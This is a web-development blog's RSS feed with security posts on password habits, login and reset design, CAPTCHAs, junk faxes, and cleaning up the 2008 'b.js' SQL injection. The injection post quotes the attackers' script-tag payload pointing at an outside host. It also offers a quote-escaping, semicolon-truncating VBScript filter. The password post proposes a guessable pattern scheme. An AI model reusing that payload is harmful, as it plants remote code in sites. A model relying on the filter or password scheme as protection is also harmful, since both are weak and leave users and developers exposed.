<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>johna's blog</title>
<link>https://johna.compoutpost.com/</link>
<description>...mostly about web development and programming, with a little bit of anything else related to the Internet, computers and technology.</description>
<item>
<title>You need a password system!</title>
<link>https://johna.compoutpost.com/blog/983/you-need-a-password-system/</link>
<description>&lt;img alt=&quot;&quot; src=&quot;/blog/uploads/img983_password.jpg&quot; class=&quot;img-fluid&quot; /&gt;&lt;br&gt;&lt;br&gt;For your security it is critical that you use strong passwords that are unique for each website.&lt;br&gt;&lt;br&gt;If you are using the same password for every website then it can be quite easy for someone to get access to your accounts. Take a look at how simple this can be:&lt;br&gt;&lt;br&gt;1. Malicious person or organisation sets up an attractive or useful website. This could be something like a competition, or a website offering something for free like ebooks or software.&lt;br&gt;&lt;br&gt;2. To use this malicious website you must enter your email address and choose a password. You want the freebie so enter your email address and your usual password.&lt;br&gt;&lt;br&gt;3. They now have access to your account on any websites that only require just an email address and password. They can attempt to login to popular websites such as PayPal, eBay, Facebook, Instagram, etc using your email address and the same password.&lt;br&gt;&lt;br&gt;4. From your email address they may be able to determine your email provider, eg. Hotmail or Gmail, and gain access to your email account. Once they have access to your email account they can look through your emails and identify other websites you use, such as banking and PayPal. If your usual password doesn't work on these or other websites they can request a password reset via email and then get access to those accounts too.&lt;br&gt;&lt;br&gt;Any websites where two factor authentication is enabled will be safe, so this is a useful safety feature you should always choose to use.&lt;br&gt;&lt;br&gt;So, how can you have a password that is easy to remember but safe and unique?&lt;br&gt;&lt;br&gt;The answer is to have your own system of generating passwords.&lt;br&gt;&lt;br&gt;Almost all websites have a rule for the minimum length a password must be, and many have rules for including upper case characters, numbers and non-alphanumeric characters.&lt;br&gt;&lt;br&gt;So you can use the same system for all websites, your password system should include at least one capital letter, at least one number, and at least one non-alphanumeric character.&lt;br&gt;&lt;br&gt;So the password is unique, you also need to include something to secretly identify the website. Why secretly? Well if your unique passwords are just something like &quot;johnebay&quot;, &quot;johnpaypal&quot;, &quot;johnhotmail&quot;, etc then the hacker may be able to easily guess the password for each site.&lt;br&gt;&lt;br&gt;Here's a simple example of a password system you could use. This one is for eBay:&lt;br&gt;&lt;br&gt;bJohn18y!&lt;br&gt;&lt;br&gt;b is the second letter of ebay.com&lt;br&gt;John is a word to use for every website with one capital letter&lt;br&gt;18 is a number to use for every website&lt;br&gt;y is the last letter in ebay.com (before the .com)&lt;br&gt;! is a symbol&lt;br&gt;&lt;br&gt;aJohn18l! would be the password for PayPal using the same system.&lt;br&gt;&lt;br&gt;To a hacker the &quot;b&quot; and &quot;y&quot; are not obviously identifying that the password is for ebay.com, although you may want to obscure the password even further.&lt;br&gt;&lt;br&gt;For example, &quot;John&quot; might be easy to remember but a made up word might be safer. Capitilising the &quot;J&quot; also draws attention to it being separate from the rest of the password.&lt;br&gt;&lt;br&gt;How about we use &quot;alPha&quot; as our system's word, place the second letter of the website name in a different position instead?&lt;br&gt;&lt;br&gt;Our eBay password would be &quot;ablPha18y!&quot; and our PayPal password would be &quot;aplPha18l!&quot;. They look more obscure.&lt;br&gt;&lt;br&gt;When coming up with your own system consider other options like capitilising one of the letters of the website name, swapping the last letter and second letter positions, and so on.&lt;br&gt;&lt;br&gt;Hopefully using these techniques you will come up with a system that is easy to remember yet safe.</description>
<comments>https://johna.compoutpost.com/blog/983/you-need-a-password-system/#comments</comments>
<pubDate>2018-10-10T12:00:00+10:00</pubDate>
<category>Computers & Internet</category>
<category>Web Security</category>
<image>https://johna.compoutpost.com/blog/uploads/img983_password.jpg</image>
<guid>https://johna.compoutpost.com/blog/983</guid>
</item>
<item>
<title>Best practices for membership systems, login pages and password resets</title>
<link>https://johna.compoutpost.com/blog/748/best-practices-for-membership-systems-login-pages-and-password-resets/</link>
<description>Developing a secure membership system can be complicated as there are many potential danger areas that you must be aware of. In this post I hope to cover all of the areas you need to think about and plan for.&lt;br&gt;&lt;br&gt;&lt;b&gt;Should I have users log in using their email address or use user names instead?&lt;/b&gt;&lt;br&gt;&lt;br&gt;From a usability point of view I would recommend using email address as people are more likely to remember that than a user name. Personally I often forget user names to websites that I use frequently or infrequently, but I haven't ever forgotten my email address.&lt;br&gt;&lt;br&gt;The one drawback to using email addresses is if more than one person share the same email address and want to have separate accounts. If you need to accommodate this then you need to use user names.&lt;br&gt;&lt;br&gt;&lt;b&gt;Should I require a minimum level of password complexity?&lt;/b&gt;&lt;br&gt;&lt;br&gt;Depending on the type of application some level of complexity should be required. A banking site should require a high level of complexity such as combination of upper and lower case, at least one number, and at least one non alphanumeric character. A site that stores little or no personal information and does not involve payment may simply demand a minimum number of characters.&lt;br&gt;&lt;br&gt;&lt;b&gt;How should passwords be stored in the database?&lt;/b&gt;&lt;br&gt;&lt;br&gt;Passwords should never be stored in plain text, nor should they be stored in a way that they can be retrieved (for example to send to the user). A one way hash is the way to go but many methods are easy to break so a modern, known-good method should be used.&lt;br&gt;&lt;br&gt;&lt;b&gt;What are the best practices for log in forms?&lt;/b&gt;&lt;br&gt;&lt;br&gt;For privacy and security reasons you should not confirm that the email address has an associated account on the log in form. If the user enters a valid email address but the wrong password then you should provide a non-specific error message such as &quot;Invalid email address or password&quot;.&lt;br&gt;&lt;br&gt;&lt;b&gt;How should password resets be handled?&lt;/b&gt;&lt;br&gt;&lt;br&gt;A password reset system is a safer choice than simply emailing someone their password.&lt;br&gt;&lt;br&gt;When a request is made you should not lock out the account. You don't want to give someone the ability to lock out someone else from their account.&lt;br&gt;&lt;br&gt;The password reset request page should include a CAPTCHA to prevent automated attempts. This will protect somewhat against your mail server being possible forced to send a large volume of emails, possible to people who do not have accounts with you. Otherwise a competitor could use this feature to get your mail server black listed.&lt;br&gt;&lt;br&gt;It is best to record all password reset requests in a separate database table, which should contain the date and time of the request, the email or account identifier (so we know which account to reset), and a unique identifier to use in the link to reset the password. This identifier should be complex and not largely based on date or time so as not easy to guess. You may also want to record the IP address for the request, although these can be faked so this should not be relied upon.&lt;br&gt;&lt;br&gt;When a password request is received a record would be added to that table and an email sent to the email address with the link to reset.&lt;br&gt;&lt;br&gt;Again, we don't want to disclose whether the email address has an account or not, except to the someone who has access to that email address. So when a password reset is requested you should tell the user that an email has been sent to that address with further instructions. If there is no valid account for that email address then you would tell the user in the email.&lt;br&gt;&lt;br&gt;I suggest allowing multiple password requests to be able to be recorded and for all to be valid. Often a user may get impatient and make multiple reset requests. Although a little less secure it is better for the user experience.&lt;br&gt;&lt;br&gt;However, each request should be valid only for a set period of time, which is suggested to be one hour. After this time the reset URL should be invalidated.&lt;br&gt;&lt;br&gt;Because emails are not secure and someone could have inappropriate access to that email address you should implement at least one more level of security. This could be in the form of a security question. Some websites use a SMS to a mobile phone number as an extra security level, but given that many people have their email on their phone if the phone falls into the wrong hands then this method is not secure at all.&lt;br&gt;&lt;br&gt;If using security questions, then the questions need to be well chosen. Questions should be chosen so that they have a large number of possible answers (eg. there is only a limited number of common answers for what is your favourite colour), are not easy to find out (what school you went to, mother's maiden name could be easy to find out for many people), require very specific answers (question should not be answerable in different ways by the same person), are constant (people may change their favourite things over time), and are not cultural specific. Questions about your first ... could be a good choice but there needs to be enough questions for a user to choose them as not everyone has had a first everything of course.&lt;br&gt;&lt;br&gt;Once the password is changed you should invalidate the request, as this limits the amount of time an attacker could access the reset URL. You should also not automatically log the user in, as if someone has guessed a valid password reset link, at least they won't know what email address to use to login. &lt;br&gt;&lt;br&gt;Once the password reset is complete you should send an email with notification of the password change to alert the user to the change (in case they didn't do it), but don't send the new password in the email.&lt;br&gt;&lt;br&gt;&lt;b&gt;How should forgotten user names be handled?&lt;/b&gt;&lt;br&gt;&lt;br&gt;If you have users log in with a user name instead of email address then you need to have a system in place to retrieve a forgotten user name.&lt;br&gt;&lt;br&gt;Similar to the password reset I would recommend a CAPTCHA protected page where the user can enter their email address. Once they submit you should display a message indicating further instructions will be provided in an email.&lt;br&gt;&lt;br&gt;Although you don't want to disclose the email address associated with the user name, it is a good idea to give some clue as to what email address the user can expect it to be sent to. Yahoo do this quite well by partially showing the email address (eg. j*******s@******l.com).&lt;br&gt;&lt;br&gt;You can then email them with a list of all user names associated with their email address, or a message saying there are none if that is the case.&lt;br&gt;&lt;br&gt;Armed with their user name they can then log in or request a password reset if they have forgotten their password too.&lt;br&gt;&lt;br&gt;&lt;b&gt;What happens if the user no longer has access to the email address they registered with?&lt;/b&gt;&lt;br&gt;&lt;br&gt;If a mobile phone number has been previously recorded the reset URL could be sent via SMS instead.&lt;br&gt;&lt;br&gt;Otherwise you could require the user contact you (most likely by telephone) to prove their identity and then provide a new email address to which a reset email could be sent.&lt;br&gt;&lt;br&gt;&lt;b&gt;Should I use SSL?&lt;/b&gt;&lt;br&gt;&lt;br&gt;All of the identity verification process and anywhere passwords or secret question answers are entered should only be done on secure pages (HTTPS).&lt;br&gt;&lt;br&gt;&lt;b&gt;What are the best practices for the registration page?&lt;/b&gt;&lt;br&gt;&lt;br&gt;After registration you should send an email with a link to verify that the user has access to the email address they used. You should show a message saying that an email has been sent to their email address (show it so they can double-check it) and if they don't receive it within a reasonable amount of time then check their junk mail box or anti-spam service, if any.&lt;br&gt;&lt;br&gt;Once the user has verified their address you should not automatically log them in. That way, if someone found a valid verification link they wouldn't know the email address associated with the link.&lt;br&gt;&lt;br&gt;One risk with the registration page is that hackers could check for whether an email address has an account by trying to register under that email address.  You can avoid this by instead of telling the user that the email address already exists on the registration form, send an email notifying them of this instead of the email validation message.&lt;br&gt;&lt;br&gt;But what happens if a previous owner of this email address no longer uses their account and a new owner of the same address now wants to register? You don't want to invalidate the original account as this could mean that someone could invalidate someone else's account with just access to their email address. You also don't want to block the new owner from creating an account of their own.&lt;br&gt;&lt;br&gt;To accommodate this you could allow for multiple accounts under the same email address but this would then be a problem if both had the same password.&lt;br&gt;&lt;br&gt;A simple solution to this problem would be to use user names instead but this does go against what I said previously. Also users would only able to log in with their user name and not their email address.&lt;br&gt;&lt;br&gt;A more complex solution is to make the new owner's account the active account for that email address once they have verified their email address, and flag the old owner in the database so that when they next log in they are prompted to confirm their email address. If they cannot they must change to a different address before they can get access again. And at that point? Then you do the same to the other account.&lt;br&gt;&lt;br&gt;This doesn't take into account the possibility that people may share the same email address but want separate accounts. For this the only answer is using user names instead of email address.&lt;br&gt;&lt;br&gt;&lt;b&gt;Should I lock users out after multiple failed attempts?&lt;/b&gt;&lt;br&gt;&lt;br&gt;Firstly, you should be aware that this could expose the validity of an account for that email address.&lt;br&gt;&lt;br&gt;I would recommend that you create a database table for failed attempts and keep a log of the email address and date/time of the request. If there are more than a set number of attempts using that email address within a set time then the system should not allow any more requests.&lt;br&gt;&lt;br&gt;You could also store the IP address and only allow a set number of requests for any email address within a set time, although as a user may have multiple email address that they might try as well as multiple passwords they may have used, this should be a bit more tolerant.&lt;br&gt;&lt;br&gt;You could always add a CAPTCHA after a set number of attempts, although annoying to the user it does provide a higher level of security.&lt;br&gt;&lt;br&gt;You should be aware though that the IP address can be faked.&lt;br&gt;&lt;br&gt;To what degree you need to implement these recommendations depends on the level of personal information you record and the type of application. However, if you do not make efforts to protect passwords and user accounts then you could open yourself or your business up to legal action and penalties should your data or accounts be compromised.</description>
<comments>https://johna.compoutpost.com/blog/748/best-practices-for-membership-systems-login-pages-and-password-resets/#comments</comments>
<pubDate>2014-07-23T12:00:00+10:00</pubDate>
<category>Web Security</category>
<guid>https://johna.compoutpost.com/blog/748</guid>
</item>
<item>
<title>CAPCTHAs and alternatives</title>
<link>https://johna.compoutpost.com/blog/449/capcthas-and-alternatives/</link>
<description>CAPTCHAs and their alternatives&lt;br&gt;&lt;br&gt;The basic purpose of a CAPTCHA (Completely Automatic Public Turing Test to Tell Computers and Humans Apart) is to prevent robots from submitting web forms. By displaying an image that cannot be &#8220;read&#8221; by a computer, only a human can submit the form successfully.&lt;br&gt;&lt;br&gt;Most of the time CAPTCHAs are an irritation to legitimate users, and can also cause issues with accessibility unless an alternative audible version of the text or numbers in the CAPTCHA image is also available.&lt;br&gt;&lt;br&gt;My technique for CAPTCHA in Classic ASP is an image only system which works like this:&lt;br&gt;&lt;br&gt;When the form is displayed two random numbers are generated. One is used as the number that is generated into an image. The other random number is used as the name of a session variable which contains the first number. This second number is stored as a hidden form field (it doesn't matter that this second number can be easily read). I use a random session variable name so as not to cause problems if the user has multiple forms open, this way each should submit without any conflict. On form submit the script gets the hidden field value and then the value of this session variable and compares this with the user's input. If they don't match the user (or robot) is redirected back to the form and two new random numbers are generated so the process repeats.&lt;br&gt;&lt;br&gt;A more simple but less effective system that prevents some robots but avoids irritation to legitimate users and accessibility problems is to use a system similar to the CAPTCHA system described above where a random number is generated and added as a hidden form field and also stored in a session variable. On form post the hidden form field value is compared with the session variable value and succeeds only if they match. This means that the form can only be submitted if the user or robot visited the web form page first and posts the random number. This prevents robots that just simulate a form post to a URL from succeeding but doesn't stop the robot if they are willing to retrieve the web form page each time they post a form.&lt;br&gt;&lt;br&gt;An improvement to this system would be to use a JavaScript script to add the value to the hidden field. Again, this would be fairly easy for a robot to simulate but would mean that the robot would have to be written specifically for the site.&lt;br&gt;&lt;br&gt;Creating an image or audible CAPTCHA is not possible for some websites, for example in Classic ASP it usually requires a third party server component (although it can be done without one). There are other alternatives.&lt;br&gt;&lt;br&gt;* Instead of creating a random number you could generate a random mathematical question, for example:&lt;br&gt;&lt;br&gt;What is five plus twenty-three?&lt;br&gt;&lt;br&gt;* You could create a database of random questions and answers, for example:&lt;br&gt;&lt;br&gt;Which is not a colour? Blue, green, apple, orange or black?&lt;br&gt;&lt;br&gt;* You could show several photos of different objects and ask the visitor to pick which picture contains a certain object.&lt;br&gt;&lt;br&gt;All of these techniques are easy to produce using a system similar to what I described near the beginning of this article.&lt;br&gt;&lt;br&gt;* You could create a textbox and set it to display:none in CSS. A robot is likely to fill this field so you can void any form submissions where this textbox is not empty.&lt;br&gt;&lt;br&gt;* Dynamically change the names of form fields and store their new names in a session variable.</description>
<comments>https://johna.compoutpost.com/blog/449/capcthas-and-alternatives/#comments</comments>
<pubDate>2009-12-09T12:00:00+10:00</pubDate>
<category>Web Security</category>
<category>Classic ASP</category>
<guid>https://johna.compoutpost.com/blog/449</guid>
</item>
<item>
<title>Does stopfax.com.au really stop junk faxes?</title>
<link>https://johna.compoutpost.com/blog/414/does-stopfax-com-au-really-stop-junk-faxes/</link>
<description>I received a &quot;spam&quot; fax some time ago on my home fax machine. I was pleased to see an opt-out website link at the bottom of the page which was www.stopfax.com.au/companyname. I didn't want any more faxes sent to my home fax so I went to the address and through the process to remove myself from this list.&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;b&gt;For car repair manuals I recommend &lt;a href=&quot;http://www.computeroutpost.com.au/&quot; target=&quot;_blank&quot;&gt;The Computer Outpost&lt;/a&gt;&lt;/b&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;However, over the following months I continued to receive &quot;spam&quot; faxes all from different companies but with a similar stopfax.com.au link to be removed from list.&lt;br&gt;&lt;br&gt;I did follow the removal process with each fax but the faxes have not stopped.&lt;br&gt;&lt;br&gt;I did a whois lookup of the stopfax.com.au domain name and found the owner to be:&lt;br&gt;&lt;br&gt;&lt;i&gt;CBOX PTY LTD&lt;br&gt;www.cbox.com.au&lt;/i&gt;&lt;br&gt;&lt;br&gt;I have sent the following message through their contact us form on their website and will see what the response is.&lt;br&gt;&lt;br&gt;&lt;i&gt;Please remove my fax number from your database - 02xxxxxxxx. This is a home fax machine and I do not wish to receive any more faxes from any of your customers ever again. Thank you.&lt;/i&gt;</description>
<comments>https://johna.compoutpost.com/blog/414/does-stopfax-com-au-really-stop-junk-faxes/#comments</comments>
<pubDate>2008-07-26T12:00:00+10:00</pubDate>
<category>Computers & Internet</category>
<category>Web Security</category>
<guid>https://johna.compoutpost.com/blog/414</guid>
</item>
<item>
<title>SQL Injection Protection - b.js</title>
<link>https://johna.compoutpost.com/blog/407/sql-injection-protection-b-js/</link>
<description>There is a automated SQL injection attack doing the rounds at the moments which injects some html (&amp;lt;script src=http://www.domain.com/b.js&amp;gt;&amp;lt;/script&amp;gt;) into certain fields in all the tables in a database.
&lt;p&gt;
If you have been attacked don't feel bad as an Internet search of &quot;b.js&quot; reveals tens of thousands of hacked sites.
&lt;p&gt;
The attack cleverly appends a series of SQL commands onto  your querystrings and if your code is unprotected, and you don't use Access databases, the commands may be passed on to your SQL server and the damage done.
&lt;p&gt;
Considering the damage that could be done by this sort of attack, I guess we are lucky that they chose only to append their little JavaScript.
&lt;p&gt;
However, this attack could render your website as &quot;unsafe&quot; in search engine results.
&lt;p&gt;
&lt;strong&gt;Reversing the Damage&lt;/strong&gt;
&lt;p&gt;
We are also extremely fortunate that the changes can be easily reversed with a few changes of the attackers original SQL commands.
&lt;p&gt;
Simply execute the following to clean up the damage. If you have been attacked multiple times (ie. you have multiple script blocks appended to your SQL data) then you will need to execute the following script for each attack.
&lt;p&gt;
&lt;textarea cols=5 rows=10 style=&quot;width:95%&quot;&gt;DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
            convert(varchar(8000), ['+@C+']),
            len(convert(varchar(8000), ['+@C+'])) - 6 -
            patindex(''%tpircs&lt;%'',
                      reverse(convert(varchar(8000), ['+@C+'])))
            )
      where ['+@C+'] like ''%&lt;script%&lt;/script&gt;'''
      );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;&lt;/textarea&gt;
&lt;p&gt;
&lt;strong&gt;Protecting against attacks&lt;/strong&gt;
&lt;p&gt;
There are many methods out there to protect against this sort of attack.
&lt;p&gt;
The best method is to ensure that you protect every value that you pass to SQL. Strings should have a function to replace single quotes with two single quotes. Numbers should have a function that forces them to a numeric value. 
&lt;p&gt;
The following function is a simple method which removes multiple inline SQL commands. If you issue multiple inline SQL commands in one go then obviously it will not be suitable but for everyone else it should stop any attack. This will not protect against all types of attacks however.
&lt;p&gt;
Parse your SQL command strings with the following syntax:
&lt;p&gt;
&lt;i&gt;SQLCheck(sql-string-here)&lt;/i&gt;
&lt;p&gt;
&lt;textarea cols=5 rows=10 style=&quot;width:95%&quot;&gt;Function SQLCheck(strCommand)
	Dim intChar
	Dim blnQuotes
	SQLCheck = strCommand
	blnQuotes = False
	For intChar = 1 To Len(strCommand)
		If Mid(strCommand, intChar, 1) = &quot;'&quot; Then
			If Not blnQuotes Then
				blnQuotes = True
			Else
				If intChar &lt; Len(strCommand) Then
					If Mid(strCommand, intChar + 1, 1) = &quot;'&quot; Then
						intChar = intChar + 1
					Else
						blnQuotes = False
					End If
				End If

			End If
		ElseIf Mid(strCommand, intChar, 1) = &quot;;&quot; Then
			If Not blnQuotes Then
				SQLCheck = Left(strCommand, intChar - 1)
				Exit For
			End If
		End If
	Next
End Function&lt;/textarea&gt;</description>
<comments>https://johna.compoutpost.com/blog/407/sql-injection-protection-b-js/#comments</comments>
<pubDate>2008-06-30T12:00:00+10:00</pubDate>
<category>Classic ASP</category>
<category>Web Security</category>
<guid>https://johna.compoutpost.com/blog/407</guid>
</item>
</channel>
</rss>
